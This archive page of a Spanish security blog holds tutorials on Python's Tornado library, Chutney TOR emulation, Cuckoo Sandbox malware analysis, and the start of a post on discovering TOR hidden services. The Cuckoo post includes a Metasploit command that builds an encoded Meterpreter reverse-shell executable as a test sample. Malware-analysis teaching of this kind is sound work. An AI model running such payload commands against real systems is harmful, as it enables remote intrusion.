Archivo

Archive for the ‘Networking’ Category

Tornado para rutinas de red asincronas y no bloqueantes

noviembre 27, 2014 Deja un comentario

“Tornado” es una librería para programas escritos en Python que permite crear sistemas asíncronos y no bloqueantes para operaciones de red, en donde cada petición ejecutada por los clientes puede ser asíncrona. La forma en la que se encuentra implementada la librería, permite escalar a varios miles de conexiones abiertas, algo que resulta ideal para aplicaciones que requieren conexiones con un tiempo de vida largo. Tornado no es una librería simple, de hecho es todo un framework para diferentes tipos de elementos de red, muy similar a Twisted, pero con la diferencia de que Tornado se centra en el desarrollo de componentes de red asíncronos y no bloqueantes y Twisted es un framework reactivo, centrado en el desarrollo de componentes de red que se activan ante diferentes eventos.
El modelo tradicional para crear aplicaciones tales como servidores web que soportan varios clientes de forma concurrente, se basa en un sistema “multi-hilo”, en el que se crea un nuevo hilo por cada cliente que se conecta al servicio. Esto da como resultado un consumo bastante alto de recursos del sistema y problemas de rendimiento que pueden ser bastante serios.
Un sistema “no-bloqueante” se basa en la ejecución de un único hilo de forma continua y que responde a las peticiones de cada cliente de forma asíncrona, de esta forma, el efecto de “bloqueo” de cada función se ve muy disminuido, ya que una función asíncrona retorna antes de finalizar. Por otro lado, últimamente se ha vuelto bastante popular el uso de librerías como Tornado o AsyncIO (de la que se hablará en una próxima entrada) no solamente en Python, sino en muchos otros lenguajes como Java, PHP o Javascript para implementar rutinas asíncronas y sistemas no bloqueantes. Es un modelo que ha ido cobrando fuerza por los beneficios que aporta un sistema que consume pocos recursos comparado con los sistemas clásicos, los cuales para manejar la concurrencia crean un nuevo hilo de ejecución por cada cliente.

Para instalar Tornado, basta con ejecutar el comando “pip install tornado” o descargar la última versión disponible en el repositorio GitHub (https://github.com/tornadoweb/tornado) e instalar manualmente con el script “setup.py”.
Uno de los ejemplos más básicos a la hora de usar Tornado, consiste en crear una aplicación web, para lo cual es necesario utilizar como mínimo tres elementos: una o varias clases del tipo “RequestHandler” para el procesamiento de las peticiones, uno o varios objetos del tipo “Application” para gestionar y enrutar adecuadamente las peticiones entrantes y finalmente, una función “main” que se encargará de iniciar el servidor. El siguiente es un ejemplo muy simple para crear un servidor web que procesa las peticiones “POST” de forma síncrona y las peticiones “GET” de forma asíncrona.

BasicTornadoWebServer.py

from tornado.ioloop import IOLoop
from tornado.web import RequestHandler, Application, url, asynchronous

class HelloHandler(RequestHandler):
    @asynchronous
    def get(self):
        self.write("Hello, world")

    def post(self):
        self.write("Hello, world")    

app = Application([ url(r"/", HelloHandler), ])
app.listen(9090)
IOLoop.current().start()

Como se puede apreciar, la clase “IOLoop” es la encargada de crear el hilo de ejecución que se encargará de procesar cada petición entrante por el puerto “9090”. Por otro lado, por defecto las funciones de una instancia de “RequestHandler” son síncronas, esto quiere decir que el hilo de ejecución principal será bloqueado hasta que la función retorne y en este caso, para implementar una función asíncrona, se debe utilizar el decorador “asynchronous”.
Se trata de un ejemplo muy simple y Tornado implementa muchas clases y funciones que permiten crear aplicaciones web asíncronas y con elementos tan interesantes como autenticación de usuarios, protección a CSRF o cookies seguras. Estos elementos serán analizados con mayor detalle en una próxima entrada, en esta nos centraremos en el uso de las utilidades incluidas en Tornado para networking.
Elementos y utilidades en Tornado para operaciones de red asíncronas
Tal como se ha visto antes la utilidad “tornado.ioloop” es el elemento principal para iniciar el hilo de ejecución en Tornado, no obstante no solamente se puede utilizar para crear un servidor HTTP que permita el procesamiento de peticiones, también es posible crear sockets TCP o UDP y responder a cada cliente de forma asíncrona. El siguiente es un ejemplo de cómo crear un servidor TCP básico con Tornado.


import errno
import functools
import socket
from tornado import ioloop, iostream
def connection(sock, filedes, event):
    while True:
        try:
            connection, address = sock.accept()
        except socket.error, e:
            if e[0] not in (errno.EWOULDBLOCK, errno.EAGAIN):
                raise
            return
        connection.setblocking(0)
        stream = iostream.IOStream(connection)
        stream.write("HTTP/1.1 200 OK\r\nHello!\r\n", stream.close)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setblocking(0)
sock.bind(("", 8080))
sock.listen(1000)
io_loop = ioloop.IOLoop.instance()
callback = functools.partial(connection, sock)
io_loop.add_handler(sock.fileno(), callback, io_loop.READ)
try:
    io_loop.start()
except KeyboardInterrupt:
    io_loop.stop()
    print "exited cleanly"

Las primeras instrucciones que ejecuta el script anterior resultan bastante comunes para cualquier programador de Python que conoce el uso de los sockets, en este caso se está vinculando el puerto “8080” y posteriormente se utiliza una función de callback que será invocada automáticamente por la utilidad “IOLoop” cuando un cliente realice una petición al puerto 8080. La función de callback encargada de procesar cada conexión es “connection” y como se puede apreciar, recibe como argumento el socket servidor, el “file descriptor” y un listado de eventos producidos durante la conexión. Las primeras instrucciones de la función “connection” resultaran bastante comunes también, ya que lo primero que se hace es aceptar la conexión iniciada por el cliente. Posteriormente, se crea una instancia de la clase “iostream.IOStream” recibiendo como argumento la conexión del cliente. Este elemento de Tornado es lo que hace que este sencillo servidor TCP sea una rutina no bloqueante, ya que se encarga de gestionar de forma asíncrona las respuestas a todos los clientes que se conectan al servidor.

tornado1

La clase “tornado.iostream.IOStream” es una de las clases que extiende de “tornado.iostream.BaseIOStream”, la cual incluye las funciones básicas para leer y escribir datos en sockets no bloqueantes. Existen otras implementaciones tales como “iostream.SSLIOStream” o “iostream.PipeIOStream” que implementan características extendidas.

Por otro lado, el modulo “tornado.netutil” incluye varias funciones que son bastante útiles tanto para clientes como servidores. El uso de algunas de dichas funciones se enseña a continuación.

>>> from tornado import netutil
>>> sockets = netutil.bind_sockets(8000)
sockets [<socket._socketobject object at 0x7f067a1bf670>, <socket._socketobject object at 0x7f067a1bf6e0>]
>>> netutil.is_valid_ip('') False
>>> netutil.is_valid_ip('192.168.1.2') True
>>> netutil.is_valid_ip('192.168.1.999') False
>>> netutil.is_valid_ip('fe80::fe15:b4ff:fefc:f808') True
>>> netutil.is_valid_ip('aas10::fe15:b4ff:fefc:f808') False
>>> resDNS = netutil.Resolver()
>>> resDNS.configure('tornado.netutil.BlockingResolver')
>>> resDNS.resolve('www.google.com',80) <tornado.concurrent.Future object at 0x7f0679b01bd0> >>> dir(_)
['__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_callbacks', '_check_done', '_done', '_exc_info', '_exception', '_result', '_set_done', 'add_done_callback', 'cancel', 'cancelled', 'done', 'exc_info', 'exception', 'result', 'running', 'set_exc_info', 'set_exception', 'set_result']

La función “bind_sockets” se encarga de crear los sockets en todas las interfaces de red disponibles y devuelve un listado con cada una de las referencias creadas.
La función “is_valid_ip” se encarga de validar si una dirección IPv4 o IPv6 es válida y finalmente, la clase “Resolver” permite configurar varios de tipos de “resolvers” para peticiones DNS bloqueantes y no bloqueantes.
Para mayor información sobre más utilidades disponibles en Tornado, se recomienda revisar la documentación: http://tornado.readthedocs.org/en/latest/netutil.html

Finalmente, Tornado incluye un servidor TCP que puede ser utilizado como un envoltorio de la utilidad “IOLoop” descrita anteriormente. Dicho servidor incluido en Tornado tiene la ventaja de que se encarga de gestionar automáticamente el estado del bucle iniciado por “IOLoop”.
Existen 3 mecanismos que se pueden implementar con la utilidad TCPServer.
1. Un único proceso en ejecución.

>>> from tornado import tcpserver >>> server = tcpserver.TCPServer() >>> server.listen(8080) >>> from tornado import ioloop
>>> ioloop.IOLoop.instance().start()

2. Multi-proceso simple con las funciones estandar “bind” y “start”

>>> from tornado import tcpserver
>>> server = tcpserver.TCPServer()
>>> server.bind(8080)
>>> server.start(8080)
>>> from tornado import ioloop
>>> ioloop.IOLoop.instance().start()

3. Multi-proceso avanzado utilizando la funcion “add_sockets”

>>> from tornado import tcpserver
>>> from tornado import ioloop
>>> from tornado import netutil
>>> from tornado import process
>>> sockets = netutil.bind_sockets(8000)
>>> process.fork_processes(0)
>>>server = tcpserver.TCPServer()
>>>server.add_sockets(sockets)
>>>IOLoop.instance().start()

Este ha sido el uso básico de Tornado, sin embargo hay que aclarar que existen otras librerías que son bastante robustas y que permiten conseguir los mismos objetivos, como es el caso de AsyncIO o incluso algunos módulos de Twisted. En el caso de AsyncIO, se encuentra incluida por defecto en las últimas versiones de Python 3, concretamente a partir de la versión 3.4. De dicha librería se hablará más adelante en otro artículo.
Saludos y Happy Hack!

Crea tu propia red privada de TOR – Emulación de TOR con Chutney

noviembre 20, 2014 3 comentarios

Somos muchos los que nos interesa saber cómo funciona TOR, pero también somos muchos los que sabemos que existen varios riesgos cuando entramos a ese tipo de redes cuando lo único que queremos es hacer pruebas, por ese motivo, una buena forma de comprender el funcionamiento de todos los elementos que conforman TOR, sin acceder directamente a la red, es por medio de herramientas y librerías que permiten simular y/o emular la red.
En primer lugar, es necesario entender la diferencia entre simular y emular, ambos términos a veces suelen utilizarse como si se tratase de sinónimos, pero no son lo mismo. Cuando simulamos un sistema, contamos con modelo muy especifico que aplica a un contexto particular, por ejemplo, podemos simular el rendimiento midiendo los tiempos de respuesta y haciendo estimaciones sobre su comportamiento con una mayor carga o con más o menos recursos, es decir, una simulación es un mecanismo que permite modelar un sistema en unas condiciones determinadas y es muy útil para hacer estimaciones. Por otro lado, cuando se habla de emular, se duplica el sistema y se ejecuta de forma independiente al sistema original, es decir, se produce una replica del sistema y se puede observar y analizar su comportamiento, dando resultados mucho más exactos que los que puede proporcionar una simulación.
Ahora bien, las simulaciones y emulaciones son términos que seguramente resultarán bastante conocidos y utilizados a los administradores de sistemas y redes, ya que existen varias herramientas que emplean ambos mecanismos para medir los limites de un sistema o el número de clientes concurrentes que pueden estar conectados a una red sin deteriorar su rendimiento. En este sentido, es posible utilizar algunas de estas mismas herramientas para probar el funcionamiento de TOR sin necesidad de conectarse directamente a las autoridades de directorio oficiales. El objetivo de este articulo y el siguiente, es enseñar el uso de dos herramientas que son recomendadas por el equipo de TOR para hacer pruebas sobre la red, dichas herramientas son Chutney y Shadow, la primera es una herramienta de emulación y la segunda de simulación. En esta entrada nos centraremos en Chutney y en la próxima se hablará sobre Shadow.

Instalación y uso de Chutney

Chutney es una herramienta que permite emular y configurar una red privada con TOR muy rápidamente, permitiendo crear varios escenarios en los que Chutney es capaz de levantar autoridades de directorio, repetidores, clientes, bridges y cualquier elemento adicional que conforma la red de TOR. Usar Chutney no es complicado, de hecho es una herramienta bastante sencilla e intuitiva, pero para configurar escenarios de prueba, es necesario conocer bastante bien las propiedades de configuración que admite TOR, es decir, aquellas que típicamente se incluyen en el fichero de configuración “torrc”.
El proyecto se encuentra ubicado en la siguiente ruta: https://gitweb.torproject.org/chutney.git y para comenzar a usarlo, basta con clonar el repositorio GIT y lanzar la utilidad “chutney”

>git clone https://git.torproject.org/chutney.git
Clonar en «chutney»…
remote: Counting objects: 364, done.
remote: Compressing objects: 100% (170/170), done.
remote: Total 364 (delta 180), reused 282 (delta 137)
Receiving objects: 100% (364/364), 58.68 KiB | 0 bytes/s, done.
Resolving deltas: 100% (180/180), done.
Checking connectivity… hecho.
>cd chutney
>./chutney
Error: Not enough arguments given.
Usage: chutney {command} {networkfile}
Known commands are: configure hup restart start status stop verify

Para ejecutar “chutney” se debe indicar un comando y un fichero de configuración de red. Los comandos disponibles son “configure”, “hup”, “restart”, “start”, “status”, “stop” y “verify”. Además, se debe indicar la ruta del fichero de configuración de red como segundo argumento del comando.

Para que la herramienta funcione correctamente, el comando “tor” debe ser un comando valido para el usuario que lo ejecuta, es decir, que TOR se debe encontrar instalado en el sistema y el usuario en cuestión debe de tener los privilegios suficientes para poder ejecutarlo, de lo contrario, “chutney” enseñará el siguiente mensaje.

>./chutney configure networks/basic
Starting nodes
Cannot find tor binary ‘tor’. Use CHUTNEY_TOR environment variable to set the path, or put the binary into $PATH.

Basta con establecer la ruta donde se encuentra el ejecutable en la variable de entorno PATH.

>nano /home/adastra/.bashrc
export PATH=”$PATH:/TOR/tor-browser_40/Browser/TorBrowser/Tor/tor”
>source ~/.bashrc

Si TOR se ha instalado desde algún repositorio de Debian, CentOS o Fedora, no debería haber mayores problemas, sin embargo se recomienda instalar la última versión de TOR disponible, preferiblemente desde el código fuente.

Después de tener todos los elementos instalados y listos para ser utilizados, el primer paso en la puesta en marcha de “chutney” es invocar al comando “configure” para crear todos los directorios y las claves necesarias para instanciar las autoridades de directorio en la máquina donde se ejecuta la herramienta. Dicho comando se debe ejecutar sobre un directorio de configuración de red y en este caso, “chutney” cuenta con algunos ficheros de ejemplo que pueden ser útiles para probar la herramienta. Dichos ficheros se encuentran incluidos en el directorio “networks”.
Cuando se ejecuta el comando “configure”, la herramienta se encarga de crear automáticamente el directorio “net”, el cual incluye todos los elementos necesarios para emular la red de TOR.

>./chutney configure networks/basic
Creating identity key /chutney/net/nodes/000a/keys/authority_identity_key for test000a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/000a/keys/authority_identity_key -s /chutney/net/nodes/000a/keys/authority_signing_key -c /chutney/net/nodes/000a/keys/authority_certificate -m 12 -a 127.0.0.1:7000Creating identity key /chutney/net/nodes/001a/keys/authority_identity_key for test001a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/001a/keys/authority_identity_key -s /chutney/net/nodes/001a/keys/authority_signing_key -c /chutney/net/nodes/001a/keys/authority_certificate -m 12 -a 127.0.0.1:7001Creating identity key /chutney/net/nodes/002a/keys/authority_identity_key for test002a with tor-gencert –create-identity-key –passphrase-fd 0 -i /chutney/net/nodes/002a/keys/authority_identity_key -s /chutney/net/nodes/002a/keys/authority_signing_key -c /chutney/net/nodes/002a/keys/authority_certificate -m 12 -a 127.0.0.1:7002The tor binary at ‘tor’ does not support the option in the torrc line:’TestingDirAuthVoteExit *’
The tor binary at ‘tor’ does not support the option in the torrc line:
‘TestingDirAuthVoteExit *’
The tor binary at ‘tor’ does not support the option in the torrc line:
‘TestingDirAuthVoteExit *’

Como se puede apreciar en las últimas líneas, la opción de configuración “TestingDirAuthVoteExit” no se ha encontrado y aunque es posible seguir trabajando con “chutney” sin problemas a pesar de este error, se trata de una propiedad de configuración que se ha incluido a partir de la versión “2.6-alpha” de TOR y a la fecha de redactar este artículo, aun no se encuentra disponible en la versión estable.
Ahora que se encuentra la red privada configurada, se puede controlar con los comandos “start”, “stop” y “status” tal como enseña la siguiente imagen.

chutney

Comandos disponibles en chutney

La configuración básica funciona correctamente y como se puede ver, se han creado una serie de procesos que representan instancias de TOR que se están ejecutando en la máquina local. No obstante, no se trata de instancias de TOR que se levantan con las propiedades por defecto de TOR Browser, se trata de instancias especialmente configuradas para levantar clientes, autoridades de directorio, repetidores de salida, bridges, etc. En este caso concreto, el contenido del fichero “networks/basic” tiene lo siguiente.

Authority = Node(tag=”a”, authority=1, relay=1, torrc=”authority.tmpl”)
Relay = Node(tag=”r”, relay=1, torrc=”relay.tmpl”)
Client = Node(tag=”c”, torrc=”client.tmpl”)
NODES = Authority.getN(3) + Relay.getN(8) + Client.getN(2)
ConfigureNodes(NODES)

Aunque pueda parecer complejo, esta es la estructura de cualquier fichero de configuración de red de la herramienta y en este caso concreto, se están creando 3 instancias de TOR que actuarán como autoridades de directorio, 8 como repetidores y 2 como clientes, lo que nos da un total de 13 nodos ejecutándose en la máquina local.
La estructura del fichero utiliza la API de “chutney” que se encuentra escrita en Python y cuya clase principal es “Node”, en la que se permite crear una instancia de TOR con características muy concretas y además, cada una de dichas instancias contará con su propio fichero de configuración de TOR (torrc).
Si se mira con atención el fichero de configuración anterior, se puede apreciar que se compone de una serie de instancias de la clase “Node” las cuales son “clonadas” utilizando un patrón “singleton” con el método “getN” en el que se indica el número de instancias que se debe crear. Finalmente, la utilidad “ConfigureNodes” se encarga de configurar todas y cada una de las referencias declaradas.

Configuración personalizada de Chutney

Hasta este punto se ha podido apreciar que configurar “chutney” no es demasiado complejo, sin embargo se ha utilizado una configuración que viene por defecto en el fichero “networks/basic”. Para hacer pruebas un poco más robustas y que posteriormente puedan servir para detectar errores en el funcionamiento de TOR, es necesario aprender a crear ficheros de configuración de red personalizados, algo que tampoco es demasiado complejo si se conocen las principales propiedades que se pueden utilizar en TOR.
En primer lugar, es importante anotar que el constructor de la clase “Node” recibe dos argumentos que identifican la configuración que se debe aplicar en la instancia de TOR, el primero es “tag”, el cual indica si se trata de un repetidor, un cliente, una autoridad de directorio o un bridge y el segundo es el parámetro “torrc”, el cual recibe un nombre de fichero con extensión “tmpl”, el cual representa una plantilla con las propiedades soportadas por TOR.
En el ejemplo anterior, el fichero “networks//basic” ha utilizado las plantillas “authority.tmpl”, “relay.tmpl” y “client.tmpl” y dichas plantillas se encuentran definidas en el directorio “<CHUTNEY_DIR>/templates/”. Para que el lector se haga una idea sobre lo que pueden incluir dichos ficheros, el siguiente es el contenido de la plantilla “authority.tmpl”

${include:relay.tmpl}
AuthoritativeDirectory 1
V3AuthoritativeDirectory 1
ContactInfo auth${nodenum}@test.test
ExitPolicy reject *:*
TestingV3AuthInitialVotingInterval 300
TestingV3AuthInitialVoteDelay 2
TestingV3AuthInitialDistDelay 2
TestingV3AuthVotingStartOffset 0
# Work around situations where the Exit and Guard flags aren’t being set
# These flags are set eventually, but it takes ~30 minutes
# We could be more precise here, but it’s easiest just to vote everything
# Clients are sensible enough to filter out Exits without any exit ports,
# and Guards without ORPorts
# If your tor doesn’t recognise TestingDirAuthVoteExit, update your chutney
# to a version that includes the issue-13161-check-torrc-options features
TestingDirAuthVoteExit *
TestingDirAuthVoteGuard *

Efectivamente, se trata de ficheros muy simples que siguen la misma sintaxis y estructura que el fichero de configuración “torrc”. La única diferencia es que los ficheros plantilla de “chutney” deben incluir una declaración al principio del fichero en el caso de que sea necesario incluir otras plantillas y además, es posible acceder a variables globales “chutney” con “${variable}” tal como se ha visto en el fichero.

Para probar cualquier tipo de configuración es necesario conocer muy bien las propiedades de configuración de TOR y jugar con ellas!
Chutney ya se encarga de crear el entorno por nosotros y emular la red de TOR en nuestro ordenador, con tantas instancias como queramos. Además, como se verá en un próximo artículo, también es posible utilizar Chutney en otras máquinas del segmento de red para tener una emulación mucho más aproximada del comportamiento de TOR, desde un entorno controlado y sin necesidad de estar conectado a Internet.

Herramientas como Chutney son muy utilizadas actualmente por hackers e investigadores con el fin de estudiar el comportamiento de TOR en un entorno aislado para que de esta forma, sea más sencillo encontrar fallos en su implementación sin afectar directamente a la red. Es una herramienta que desde luego es muy recomendada para aquellas personas que quieran probar diferentes configuraciones de TOR en su red local.

Saludos y Happy Hack!

Cuckoo Sandbox y detección de maleware

noviembre 18, 2014 1 comentario

El concepto de “Sandbox” es bastante común en informática cuando se habla de temas relacionados con la seguridad y casi siempre se refiere a una zona restringida, en la que los elementos que se ejecutan en el entorno se encuentran aislados de los recursos sensibles del sistema y con acceso restringido a funciones criticas. Por ejemplo, en el caso de la plataforma Java, algunas aplicaciones poco fiables, como los Applets, se ejecutan en una zona de Sandbox, en la que el proceso del programa no puede interactuar directamente con los recursos del sistema, ya que se encuentra aislado y con acceso limitado.
Este mismo concepto es adoptado por varias herramientas para el análisis de maleware, de tal forma que es posible detectar y analizar el comportamiento de un programa malicioso sin poner en riesgo todo el sistema, ya que se ejecuta en un entorno aislado y controlado. Se trata de un enfoque muy potente que ayuda a los investigadores a comprobar el funcionamiento de un programa potencialmente dañino y de esta forma, determinar cuáles son las medidas preventivas que se deben tomar o simplemente, saber cómo funcionan.

En este sentido existen varias herramientas de sandboxing para diferentes plataformas, como por ejemplo Windows o Linux. En esta ocasión, corresponde hablar sobre Cuckoo Sandbox.

Cuckoo es probablemente el framework open source más utilizado por investigadores y analistas a la hora de descubrir el funcionamiento de amenazas de todo tipo en un entorno controlado.

Cuckoo es un sistema centralizado, donde una máquina se encarga de ejecutar los

componentes “core” del sistema y por otro lado, hay máquinas virtuales aisladas que permiten la ejecución de los programas que deben ser analizados. La máquina donde corre Cuckoo se encarga de gestionar el estado de cada una de las máquinas virtuales definidas en el fichero de configuración de la herramienta y se encarga, entre otras cosas, de iniciar, detener y enviar muestras de Maleware a las máquinas virtuales especificadas.

Instalación y configuración de Cuckoo Sandbox.

Después de comprender el funcionamiento básico de Cuckoo, procedemos a su instalación y para ello, es necesario descargar la última versión disponible desde el siguiente enlace http://www.cuckoosandbox.org/download.html

Existe la posibilidad de descargar la última versión de la herramienta o descargar una “tag” especifica del repositorio GIT. Para instalar todas las dependencias necesarias y poder comenzar a utilizar Cuckoo, se recomienda utilizar PIP.

git://github.com/cuckoobox/cuckoo.git

cd cuckoo/

pip install -r requirements.txt

El siguiente paso consiste en configurar el motor de análisis y para ello, es necesario establecer un valor valido a algunas de las propiedades que se definen en el fichero “<CUCKOO_DIR>/conf/cuckoo.conf”.

Una de las ventajas que tienen los ficheros de configuración de cuckoo es que vienen muy bien explicados y leyendo la descripción de cada propiedad, es sencillo saber cuáles son los valores que se deben utilizar o si con el valor por defecto es suficiente. En concreto, las principales propiedades que es conveniente revisar son las siguientes:

machinery: Define el software de virtualización que se utilizará para arrancar las máquinas virtuales que actuarán como “guest”. El valor por defecto es “virtualbox” y es método recomendado para hacer las pruebas.

ip: Se trata de la dirección en la que arrancará el servidor. Dicha dirección debe ser accesible desde las máquinas “guest”.

port: Puerto utilizado por el servidor para recibir los resultados de las pruebas ejecutadas en las máquinas “guest”.

connection: Permite especificar una conexión a base de datos. Si no se especifica ningún valor, por defecto utilizará una base de datos SQLite ubicada en “db/cuckoo.db”.

Además, en dicho fichero es necesario definir un bloque de configuración para cada una de las máquinas virtuales que actuarán como “guest” y en dicho bloque, se deben definir detalles específicos de la máquina virtual, como por ejemplo el usuario y contraseña para iniciar sesión. El contenido de este fichero puede ser como se indica a continuación
<CUCKOO_DIR>/conf/cuckoo.conf.

[cuckoo]

version_check = on

delete_original = off

delete_bin_copy = off

machinery = virtualbox

memory_dump = off

terminate_processes = off

reschedule = off

process_results = on

max_analysis_count = 0

max_machines_count = 0

freespace = 64

tmppath = /tmp

[resultserver]

ip = 192.168.1.98

port = 2042

store_csvs = off

upload_max_size = 10485760

[processing]

analysis_size_limit = 104857600

resolve_dns = on

[database]

connection =

timeout =

[timeouts]

default = 120

critical = 600

vm_state = 300

[BELARMINO]

name = BELARMINO

username = jdaanial

password = jdaanial

El fichero “cuckoo.conf” permite definir las propiedades generales del motor de análisis, pero existen otros ficheros de configuración que también es necesario configurar, como por ejemplo los ficheros “conf/vitualbox.conf”, “conf/vmware.conf”, “conf/kvm.conf” que permiten configurar detalles concretos de la plataforma de virtualización empleada.
En este caso, nos centraremos en VirtualBox, con lo cual es necesario ajustar las siguientes propiedades definidas en el fichero “<CUCKOO_DIR>/conf/vitualbox.conf”.
– path: Indica la ubicación de la utilidad VBoxManage. Su valor por defecto es “/usr/bin/VboxManage”.
– machines: Listado con los nombres de las máquinas virtuales que serán utilizadas por

Cuckoo. Cada uno de los nombres debe ir separado por coma.
– [nombre_maquina_virtual]: El fichero permite declarar secciones de configuración para cada una de las máquinas virtuales definidas en la propiedad “machines”. Cada uno de estos bloques permite varias propiedades, sin embargo aquellas que son obligatorias se listan a continuación:

    • label: Nombre de la máquina virtual definido en la configuración de VirtualBox.
    • platform: Sistema operativo de la máquina virtual. Los valores soportados a la fecha son “windows”, “darwin” y “linux”.
    • ip: Dirección IP de la máquina virtual.El siguiente es un contenido valido para el fichero de configuración anteriormente explicado.
[virtualbox]

mode = gui

path = /usr/bin/VBoxManage

machines = BELARMINO

[BELARMINO]

label = BELARMINO

platform = windows

ip = 192.168.1.209

Existen otros ficheros de configuración que permiten controlar los módulos de Cuckoo y herramientas externas como Volatility Framework. Sin embargo, con los ficheros anteriores es suficiente para comenzar a utilizar Cuckoo con una única máquina “guest”.

./cuckoo.py -d

Tras ejecutar el comando anterior, Cuckoo se encargará de gestionar automáticamente la máquina virtual definida en los ficheros de configuración explicados anteriormente y tal como se enseña en la siguiente imagen, quedará en estado de espera hasta que se envíen muestras de maleware al motor de análisis.

cuckoo1

Ejecución Cuckoo Sandbox

Nota: Es posible que cuckoo encuentre problemas con los estados de la máquina virtual, por ese motivo se recomienda crear un snapshot antes de arrancar el motor de análisis con los siguientes comandos

>vboxmanage controlvm “BELARMINO” poweroff

>vboxmanage snapshot “BELARMINO” take “BELARMINO”

>vboxmanage snapshot “BELARMINO” restorecurrent

>vboxheadless –startvm “BELARMINO”

Configuración de las máquinas virtuales y envío de muestras de maleware a los agentes.

Después de iniciar el servidor de Cuckoo, el siguiente paso consiste en establecer los agentes en una o varias máquinas virtuales definidas en el fichero “conf/virtualbox.conf”. En cada una de dichas máquinas virtuales, se debe instalar Python para poder ejecutar el agente que se encargará de procesar cada uno de los ficheros maliciosos enviados desde el servidor y los resultados serán enviados al servidor de Cuckoo después de que el agente termine de procesarlos.

Cada una de las máquinas virtuales que actuarán como agentes deben cumplir con los siguientes requerimientos mínimos para poder ser utilizadas desde Cuckoo:

– Instalación de Python (Verisón 2.7 recomendada).

– Instalación del módulo PIL para Python. Se trata de una dependencia opcional, pero es recomendable ya que permite crear capturas de pantalla. Se puede obtener desde el siguiente enlace: http://www.pythonware.com/products/pil/

– Desactivar el Firewall de Windows y las actualizaciones automáticas.

– Instalar cualquier otra aplicación necesaria para realizar las pruebas. Lectores de ficheros PDF, procesadores de texto, servidores vulnerables, etc. El agente de Cuckoo se encuentra ubicado en el directorio “<CUCKOO_INSTALL>/agent/agent.py” el cual debe ser transferido a la máquina virtual y preferiblemente ubicarlo en el directorio “C:\Python27” con el nombre agent.pyw. Se recomienda editar el registro de Windows para que el agente se ejecute de forma automática cada vez que el sistema arranque. Para ello es necesario editar la clave “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.

Después de ejecutar el agente, se abrirá puerto 8000 para recibir todas las peticiones desde el servidor de Cuckoo.

Con todos los requisitos cumplidos, el siguiente paso lógico consiste en enviar muestras de maleware a los agentes y analizar su comportamiento. Para crear una muestra maliciosa, se utilizará Metasploit Framework.

>msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.98 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o sample.exe

El fichero malicioso resultante puede ser enviado al motor de Cuckoo, el cual se encargará de transferirlo a cada uno de los agentes asociados. Para ello el script “submit.py” que se encuentra ubicado en el directorio “<CUCKOO_INSTALL>/util” permite enviar un fichero al motor de análisis de Cuckoo.

>python submit.py /home/adastra/Escritorio/sample.exe

Success: File “/home/adastra/Escritorio/sample.exe” added as task with ID 1

Después de ejecutar el comando anterior, se puede apreciar que la muestra ha sido enviada correctamente y se ha creado la tarea con identificador “1”.
Ahora, es posible acceder a los resultados por medio de una interfaz web bastante simple e intuitiva que se iniciará al ejecutar el script “web.py” ubicado en el directorio

“CUCKOO_INSTALL/util”

>python web.py

Bottle v0.12.7 server starting up (using WSGIRefServer())…

Listening on http://0.0.0.0:8080/

Hit Ctrl-C to quit.

Desde la interfaz web, se podrán subir muestras desde un formulario y también se podrá visualizar el estado de aquellas muestras que han sido enviadas con anterioridad.

cuckoo2

Listado de muestras enviadas al motor de análisis de Cuckoo

En este articulo solamente se ha explicado la configuración básica del motor de análisis con un único “guest”, pero es una herramienta bastante flexible que merece la pena probar y “pegarse” un poco con ella. Os invito a que lo intentéis.

Saludos y Happy Hack!

Intentando descubrir hidden services en TOR

octubre 22, 2014 Deja un comentario

En el articulo “ataca un servicio oculto en la red de TOR, si te atreves” he explicado el funcionamiento del protocolo rendesvouz de TOR y las dificultades existentes a la hora de descubrir cualquier tipo de servicio anónimo en TOR. Actualmente, una de las formas más eficientes de atacar la red consiste en intentar controlar la mayor cantidad de repetidores de entrada y salida para posteriormente ejecutar ataques basados en el análisis de las peticiones y los tiempos de las mismas, sin embargo para ello se requieren varios repetidores de TOR controlados y profesionales que sepan aplicar las técnicas de ataque adecuadas, cosas que no suelen estar al alcance de cualquiera. Por otro lado, una de las características intrínsecas de la deep web de TOR, es que no es fácil encontrar cualquier servicio y menos aun si no conoces su dirección onion. Muchas veces, los usuarios de estas redes se dedican a curiosear y a recopilar direcciones que van encontrando en foros, sitios en Internet o en algunos de los buscadores más populares en la web profunda, sin embargo ¿qué pasa con aquellos servicios que son realmente ocultos? Es decir, aquellos servicios cuyas direcciones onion solamente las conocen un grupo muy pequeño de personas y no se encuentran registradas en foros o buscadores. ¿Quiénes suelen crear y usar ese tipo de servicios? Si lo piensas detenidamente, encontrar dichas direcciones es prácticamente imposible, ya que como se ha explicado en el artículo anterior, no es como buscar una aguja en pajar, es más bien como buscar una aguja entre varios billones de agujas aparentemente iguales y sin ningún patrón o perfil que las distinga.

Por otro lado, cuando intentas desarrollar un Framework de auditoria en la deep web de TOR, contar con un repositorio de direcciones onion para poder ejecutar ataques automatizados contra dichos servicios es muy importante y además de contar con un listado de direcciones conocidas (recolectadas de foros, sitios en Internet y buscadores), también es útil contar con mecanismos para intentar descubrir servicios ocultos. Sin embargo aquí, volvemos a lo que ya se ha explicado anteriormente: Manejar el volumen de datos que puede producir el espacio de posibles direcciones onion es simplemente inviable con la capacidad de procesamiento que tienen los ordenadores modernos.

No obstante, a pesar de las dificultades, un atacante puede intentar generar muchas direcciones onion de forma aleatoria o incremental y determinar si en alguna de ellas hay un servicio en ejecución. En este sentido, en Tortazo he implementado algunos mecanismos para generar y procesar direcciones onion, con el fin de intentar descubrir servicios ocultos en la web profunda de TOR.

Estos mecanismos y la estructura que he montado, se explica a continuación.

Modo “Onion Repository” en Tortazo

